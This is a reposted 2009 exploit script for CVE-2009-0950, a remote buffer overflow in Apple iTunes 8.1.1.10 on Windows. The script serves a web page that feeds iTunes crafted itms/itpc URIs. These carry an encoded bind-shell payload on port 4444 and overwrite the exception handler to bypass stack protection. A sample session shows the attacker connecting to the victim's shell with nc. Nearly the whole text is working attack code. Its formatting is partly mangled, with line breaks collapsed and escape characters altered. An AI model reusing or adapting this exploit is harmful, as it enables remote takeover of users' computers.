Apple iTunes 8.1.1.10 (itms/itcp) Remote Buffer Overflow Exploit (win) 's

admin 2017年5月2日22:08:15评论275 views字数 4782阅读15分56秒阅读模式
摘要

#!/usr/bin/python
# Apple iTunes 8.1.1.10 itms/itcp BOF Windows Exploit
# www.offensive-security.com/blog/vulndev/itunes-exploitation-case-study/
# Matteo Memelli | ryujin __A-T__ offensive-security.com
# Spaghetti & Pwnsauce – 06/10/2009
# CVE-2009-0950 http://dvlabs.tippingpoint.com/advisory/TPTI-09-03
#

#!/usr/bin/python
# Apple iTunes 8.1.1.10 itms/itcp BOF Windows Exploit
# www.offensive-security.com/blog/vulndev/itunes-exploitation-case-study/
# Matteo Memelli | ryujin __A-T__ offensive-security.com
# Spaghetti & Pwnsauce – 06/10/2009
# CVE-2009-0950 http://dvlabs.tippingpoint.com/advisory/TPTI-09-03
#

# Vulnerability can’t be exploited simply overwriting a return address on the
# stack because of stack canary protection. Increasing buffer size leads to
# SEH overwrite but it seems that the Access Violation needed to get our own
# Exception Handler called is not always thrown.
# So, to increase reliability, the exploit sends two URI to iTunes:
# – the 1st payload corrupts the stack (it doesnt overwrite cookie, no crash)
# – the 2nd payload fully overwrite SEH to 0wN EIP
# Payloads must be encoded in order to obtain pure ASCII printable shellcode.
# I could trigger the vulnerability from Firefox but not from IE that seems
# to truncate the long URI.
# Tested on Windows XP SP2/SP3 English, Firefox 3.0.10,
# iTunes 8.1.1.10, 8.1.0.52
#
# –> hola hola ziplock, my Apple Guru! Apple iTunes 8.1.1.10 (itms/itcp) Remote Buffer Overflow Exploit (win)   's && cheers to muts… he knows why
#
# ryujin:Desktop ryujin$ ./ipwn.py
# [+] iTunes 8.1.10 URI Bof Exploit Windows Version CVE-2009-0950
# [+] Matteo Memelli aka ryujin __A-T__ offensive-security.com
# [+] www.offensive-security.com
# [+] Spaghetti & Pwnsauce
# [+] Listening on port 80
# [+] Connection accepted from: 172.16.30.7
# [+] Payload sent, wait 20 secs for iTunes error!
# ryujin:Desktop ryujin$ nc -v 172.16.30.7 4444
# Connection to 172.16.30.7 4444 port [tcp/krb524] succeeded!
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:/Program Files/Mozilla Firefox>

from socket import *  html = """ <html>   <head><title>iTunes loading . . .</title>   <script>    function openiTunes(){document.location.assign("itms://itunes.apple.com/");}    function prepareStack(){document.location.assign("%s");}    function ownSeh(){document.location.assign("%s");}    function ipwn(){     prepareStack();     ownSeh();    }    function main() {     openiTunes();     // Increase this timeout if your iTunes takes more time to load!     setTimeout('ipwn()',20000);    }   </script>   </head>   <body onload="main();">     <p align="center">     <b>iTunes 8.1.1.10 URI Bof Exploit Windows Version CVE-2009-0950</b>     </p>     <p align="center"><b>ryujin __ A-T __ offensive-security.com</b></p>     <p align="center"><b>www.offensive-security.com</b></p>     <p align="center">     iTunes starting... wait for 20 secs; if you get an error, click "Ok"     in the MessageBox before checking for your shell on port 4444 :)<br/>     If victim host is not connected to the internet, exploit will fail     unless iTunes is already opened and you disable "openiTunes" javascript     function.     <br/>     <h2 align="center">     <b><u>This exploit works if opened from Firefox not from IE!</u></b>     </h2>     <p align="center">     After exploitation iTunes crashes, you need to kill it from TaskManager     <br/>have fun!</br>     </p>     </p>   </body> </html>"""  # Alpha2 ASCII  printable  Shellcode  730 Bytes, via  EDX (0x60,0x40 Badchar) # This is not standard Alpha2 bind shell. Beginning of shellcode  is modified # in order to obtain register alignment and to  reset ESP and EBP we  mangled # before. Rest of decoded shellcode is Metasploit  bind  shell  on  port 4444 # EXITFUNC=thread # shellcode = ("VVVVVVVVVVVVVVVVV7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIOqhDahIoS0"              "5QnaJLS1uQVaeQcdcm2ePESuW5susuPEsuilazJKRmixHykOkOKOCPLKPlUtu"              "tnkRegLLKSLfepx31zOlK2o7hlKqOEpWqZK3ylKwDLKeQHndqo0j9llOt9P3D"              "uW9Q8J4MWqkrJKkDukPTWTq845M5LKQOq4VajKcVLKTLPKlKQOUL6ajK336LL"              "KMY0lWTwle1O3TqiK2DLKaSFPLKQPVllK0p7lLmlK3pUXQNU8LNbnvnjL0PkO"              "8V2Fv3U61xds02U8RWpsVRqO649on0PhjkZMYlekpPKOKfsoMYkUpfna8mgxV"              "b65RJuRIoHPPhHYFiL5lmBwkOzvpSPSV3F3bsg3BsSsScIohPsVRHR1sl2Fcc"              "k9M1nuphOT6zppIWrwKO8VcZ6ppQv5KO8PBHmtNMvNm9QGKON6aCqEkOZpbHZ"              "EbiNfRiSgioiFRpf40TseiohPLSu8KWD9kvPyf7YoxVqEKOxPu6sZpd3VSX1s"              "0mK98ecZRpv9Q9ZlMYkWqzpDmYxbTqO0KCoZKNaRVMkN3r6LJ3NmpzFXNKNKL"              "ksX0rkNls5FkOrURdioXVSk67PRPQsapQCZgqbq0QSesaKOxPaxNMZyEUjnCc"              "KOn6qzKOkOtwKOJpNk67YlMSKtcTyozvrryozp0hXoZnYp1p0SkOXVKOHPA") # Padding pad0x1          = "/x41"*425  # Make EDX pointing to shellcode and "pray" sh3llcod3 [email protected] w00t w00t align           = "/x61"*45 + "/x54/x5A" + "/x42"*6 + "V"*10  # Padding pad0x2          = "/x41"*570                                     # ASCII friendly RET overwriting SEH: bye bye canary, tweet tweet # 0x67215e2a QuickTime.qts ADD ESP,8;RETN (SafeSEH bypass) ret             = "/x2a/x5e/x21/x67"  # Let the dance begin... Point EBP to encoded jmp align_for_jmp   = "/x61/x45/x45/x45" + ret + "/x44" + "/x45"*7  # Decode a NEAR JMP and JUMP BACK BABY! jmp_back        = ("UYCCCCCCIIIIIIIIII7QZjAXP0A0AkA"                    "AQ2AB2BB0BBABXP8ABuJIZIE5jZKOKOA") # Padding pad0x3          = "/x43"*162                                     # We send 2 payloads to iTunes: first is itms and second itpc # url1 smashes the stack in order to get an AV later url1            = "itms://:" + "/x41"*200 + "/" url2            = "itpc://:" + pad0x1 + align + shellcode +pad0x2 +/                                align_for_jmp + jmp_back + pad0x3 payload         = html % (url1, url2)  print "[+] iTunes 8.1.1.10 URI Bof Exploit Windows Version CVE-2009-0950" print "[+] Matteo Memelli aka ryujin __A-T__ offensive-security.com" print "[+] www.offensive-security.com" print "[+] Spaghetti & Pwnsauce" s = socket(AF_INET, SOCK_STREAM) s.bind(("0.0.0.0", 80)) s.listen(1) print "[+] Listening on port 80" c, addr = s.accept() print "[+] Connection accepted from: %s" % (addr[0]) c.recv(1024) c.send(payload) print "[+] Payload sent, wait 20 secs for iTunes error!" c.close() s.close()

# milw0rm.com [2009-06-12]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月2日22:08:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apple iTunes 8.1.1.10 (itms/itcp) Remote Buffer Overflow Exploit (win) 'shttp://cn-sec.com/archives/44785.html

发表评论

匿名网友 填写信息